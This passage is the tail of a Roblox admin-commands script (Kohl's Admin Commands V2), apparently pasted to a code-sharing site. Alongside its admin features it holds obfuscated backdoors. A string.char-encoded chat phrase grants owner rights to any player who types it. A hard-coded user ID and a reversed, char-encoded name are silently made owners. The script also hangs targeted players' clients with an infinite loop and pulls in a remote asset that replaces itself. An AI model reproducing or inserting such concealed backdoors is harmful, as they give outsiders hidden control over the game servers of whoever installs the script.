  2138. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2139. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2140. end)) end
  2141. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2142. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2143. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2144. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2145. plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
  2146. end
  2147.  
  2148. if not ntab then script:Destroy() end
  2149. if not bct then script:Destroy() end
  2150.  
  2151. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2152.  
  2153. script.Name = "Kohl's Admin Commands V2"
  2154.  
  2155. if not ntab then script:Destroy() end
  2156. if not bct then script:Destroy() end
  2157. if not tcb then script:Destroy() end
  2158. game.Players.PlayerAdded:connect(AdminControl)
  2159. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2160. end
  2161.  
  2162. local mod = game:service("InsertService"):LoadAsset(100808216)
  2163. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2164. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2165. newac.Disabled = true
  2166. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2167. local old = 0
  2168. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2169. if new > old then
  2170. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2171. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2172. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2173. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2174. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2175. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2176. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2177. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2178. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2179. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2180. wait()
  2181. newac.Parent = game.Workspace
  2182. newac.Disabled = false
  2183. script.Disabled = true
  2184. script:Destroy()
  2185. else
  2186. CHEESE()
  2187. end
  2188. else
  2189. CHEESE()
  2190. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement